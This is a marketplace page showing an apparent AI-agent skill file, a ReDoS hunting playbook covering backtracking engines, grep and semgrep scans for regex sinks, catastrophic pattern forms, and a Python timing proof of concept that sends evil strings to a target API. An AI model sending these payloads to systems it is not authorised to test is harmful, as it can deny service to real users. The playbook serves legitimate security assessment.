Skip to main content

redos

Hunt ReDoS (CWE-1333, Catastrophic Backtracking) — identify regexes with nested quantifiers or overlapping alternation that cause super-linear matching time, trace tainted input paths to regex sinks, demonstrate timing PoC, and validate with response-time delta. Covers PCRE/RE2/V8/Python re engine differences. Triggers on: 'ReDoS', 'regex denial', 'catastrophic backtracking', 'redos', 'regex complexity', 'nested quantifiers', 'regex amplification', 'CWE-1333'.

Ir para a instalação

Informações da origem

Repositório
BitterSecurity/Decepticon
Última atividade na origem
2 de junho de 2026 às 17:44
Idioma detectado do SKILL.md
inglês
Estrelas
5.522
Forks
1.048

Opções de instalação

Por padrão, está selecionado o prompt que primeiro revisa a origem. Você pode mudar para um comando direto ou baixar uma cópia local.

Revise os arquivos de origem

Leia o SKILL.md e os arquivos complementares exibidos pelo SkillsMP antes de decidir se vai instalar.

Exibindo SKILL.md

SKILL.md
Instruções da origem · Visualização somente leitura
name
redos
description
Hunt ReDoS (CWE-1333, Catastrophic Backtracking) — identify regexes with nested quantifiers or overlapping alternation that cause super-linear matching time, trace tainted input paths to regex sinks, demonstrate timing PoC, and validate with response-time delta. Covers PCRE/RE2/V8/Python re engine differences. Triggers on: 'ReDoS', 'regex denial', 'catastrophic backtracking', 'redos', 'regex complexity', 'nested quantifiers', 'regex amplification', 'CWE-1333'.
allowed-tools
Bash Read Write
metadata
{"subdomain":"web-exploitation","when_to_use":"redos regex denial catastrophic backtracking regex complexity nested quantifiers regex amplification cwe-1333 pcre re2 v8","tags":"redos, regex, dos, backtracking, cwe-1333, denial-of-service","mitre_attack":"T1499.004"}
# ReDoS Hunting Playbook Regular Expression Denial of Service exploits O(2^n) or O(n^2) matching time in backtracking engines. One crafted string can peg a CPU thread for seconds or minutes against an otherwise tiny pattern. ## 1. Identify Backtracking Engines in Scope Not all regex engines backtrack: | Engine | Language/Runtime | Backtracks? | Vulnerable? | |--------|----------------|-------------|-------------| | PCRE / PCRE2 | C, PHP, Apache, nginx | Yes | YES | | `re` module | Python (pre-3.11 `re`, `regex`) | Yes | YES | | `java.util.regex` | Java | Yes | YES | | `RegExp` | JavaScript / V8 | Yes | YES | | `System.Text.RegularExpressions` | .NET | Yes (w/ timeout option) | YES | | `regexp` package | Go | DFA-based (RE2) | NO | | `Oniguruma` | Ruby | Yes | YES | | RE2 | C++, re2 Python binding | DFA-based | NO | If the target uses RE2 or Go's `regexp`, skip this playbook — no backtracking, no ReDoS. ## 2. Source Patterns — Where Tainted Input Reaches Regex ```bash # Python grep -rn 're\.match\|re\.search\|re\.fullmatch\|re\.compile\|regex\.match' /workspace/src \ | grep -v '#' | grep -v 'test_' | grep -v '_test\.py' # Node.js / TypeScript grep -rn 'new RegExp\|\.match(\|\.search(\|\.test(' /workspace/src \ --include='*.js' --include='*.ts' | grep -v 'node_modules' # Java grep -rn 'Pattern\.compile\|\.matches(\|\.find(\|String\.matches' /workspace/src \ --include='*.java' # PHP grep -rn 'preg_match\|preg_replace\|preg_split' /workspace/src --include='*.php' # Ruby grep -rn 'match\|=~\|Regexp\.new\|\.scan(' /workspace/src --include='*.rb' \ | grep -v '#' # Semgrep for tainted-input-to-regex-sink semgrep --config p/regex /workspace/src --sarif -o /workspace/sem-redos.sarif 2>/dev/null ``` For each hit, determine whether the regex pattern is: - **Static** (hardcoded string literal) → scan the pattern itself - **Dynamic** (constructed from user input) → separate vuln class (regex injection); flag it and continue ## 3. Catastrophic Pattern Recognition A regex is potentially catastrophic if it can match the same character through multiple paths. The two canonical forms: ### Form 1: Nested quantifiers `(a+)+`, `(a*)*`, `([a-z]+)+`, `(a|a)+` The inner group can match one character in multiple ways → exponential backtracking on a string like `aaaa...b`. ### Form 2: Overlapping alternation `(a|aa)+`, `(a|ab)+c`, `(x+|y+)+z` Two branches can match the same prefix → exponential when neither eventually matches the suffix. ### Quick pattern scanner ```bash # Find potentially catastrophic regexes (grep heuristic) grep -rn "$(printf \ '(\([^)]*[+*][^)]*\)[+*])\|(\([^)]*|\[^)]*\)[+*])\|(\([^)]*[+*]\)\{[2-9]\})')" \ /workspace/src 2>/dev/null | grep -v 'node_modules\|\.min\.js' # Better: use vuln-regex-detector (if available) python3 -c " import subprocess, json, os, sys # Try to find all regex literals in Python files import ast, glob for path in glob.glob('/workspace/src/**/*.py', recursive=True): try: tree = ast.parse(open(path).read()) for node in ast.walk(tree): if isinstance(node, ast.Call): fn = getattr(node.func, 'attr', '') or getattr(node.func, 'id', '') if fn in ('compile','match','search','fullmatch'): for arg in node.args: if isinstance(arg, ast.Constant) and isinstance(arg.value, str): print(path, node.lineno, repr(arg.value)) except Exception: pass " 2>/dev/null | head -50 ``` Patterns warranting deeper analysis (flag these): - Any group with a quantifier inside a quantifier: `(X+)+`, `(X*)+`, `(X+)*` - Alternation where branches share a prefix: `(ab|a)+`, `(abc|ab)+` - Long character classes under a star inside a group under a star: `([a-z ]+)+` ## 4. Taint Heuristics — Is This Reachable? For each flagged regex, trace whether attacker-controlled data reaches the `pattern`, the `string` argument, or both: 1. `string` tainted, `pattern` static → ReDoS possible if pattern is vulnerable 2. `pattern` tainted → also check for Regex Injection (attacker adds their own quantifiers → instant ReDoS) 3. Both tainted → highest risk For web endpoints, check: - URL path / query param → regex for routing or validation - HTTP body field → input validation regex - Header (User-Agent, Content-Type) → server-side validation ## 5. Timing PoC Construction A valid PoC must demonstrate measurable time difference between a benign and a malicious input against the same endpoint. ### Evil string generation For a vulnerable pattern `(a+)+$` on a string of length n: - Malicious: `"a" * n + "b"` (forces full backtracking on the trailing `b`) - Benign: `"a" * n` (matches instantly) General evil-string construction: 1. Identify the "pump" character (what the repeating group matches) 2. Append a character that breaks the match at the end 3. Scale the pump length until response time > 3× normal ```python import time, requests TARGET = "https://<TARGET>/api/validate" PUMP = "a" FAIL = "!" for n in [10, 100, 500, 1000, 5000, 10000]: evil = PUMP * n + FAIL benign = PUMP * n t0 = time.time(); requests.post(TARGET, json={"input": benign}, timeout=30); t_benign = time.time()-t0 t0 = time.time(); requests.post(TARGET, json={"input": evil}, timeout=30); t_evil = time.time()-t0 print(f"n={n}: benign={t_benign:.3f}s evil={t_evil:.3f}s ratio={t_evil/max(t_benign,0.001):.1f}x") if t_evil > 3.0: print(">> CONFIRMED REDOS — halting to avoid DoS") break ``` ## 6. Validate Finding Contract Use `validate_finding` with: ``` success_patterns: - "<time_evil> > 2.0" # or match pattern in response body if timed-out - "Response time delta > 2s" negative_command: same request with a short benign input (n=5) negative_patterns: ["< 0.1s", "< 0.5s"] ``` Minimum bar for a valid ReDoS finding: - Malicious input takes ≥ 3× longer than benign input of similar length - Time scales super-linearly with input length (not just 3× at n=100) - The pattern is reachable without authentication, OR the impact is amplified by concurrent requests (even authenticated paths can be DoS) ## 7. Engine-Specific Notes ### JavaScript (V8) V8 added backtrack-limit mitigations in Node 16+ and Chrome 93+ (`RegExp.prototype.exec` timeout, but controllable via `--max-old-space-size`). Still exploitable with long inputs or on older Node versions. ### Python `re` No backtrack limit by default. `re.fullmatch` on complex patterns blocks the event loop in async frameworks (FastAPI, aiohttp) — single thread DoS. Test with: `python3 -c "import re,time; t=time.time(); re.match(r'(a+)+$','a'*25+'b'); print(time.time()-t,'s')"`. ### Java `java.util.regex` Thread-blocking. Servlet containers / Spring endpoints that call `Pattern.matches(taintedOrBadPattern, input)` without timeout will pin a thread. Test with `StopWatch` timing. ### PHP `preg_match` Has `pcre.backtrack_limit` (default 1000000) and `pcre.recursion_limit` (default 100000). Hitting limits returns `false` (not an error by default), but causes CPU spike before the limit kicks in. ## 8. Default CVSS | Scenario | CVSS | Score | |----------|------|-------| | Unauthenticated endpoint, n=10K → 10s+ | AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H | 7.5 | | Authenticated, single user DoS | AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H | 6.5 | | Async framework (entire event loop blocked) | AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H | 8.6 | ## 9. Chain Promotion ReDoS alone is a DoS primitive. Promote via: - `enables` edge to availability impact node - If the endpoint is in a critical auth or payment path → escalate severity - If the regex also leaks match groups (regex injection) → dual vuln class ``` kg_add_node("vulnerability", "ReDoS in /api/validate::input", props={"pattern": "(a+)+$", "file": "api/validators.py", "line": 42, "cwe": "CWE-1333", "evil_input_len": 10000, "evil_time_s": 12.3, "key": "redos:api-validate-input"}) ```
Ver no GitHub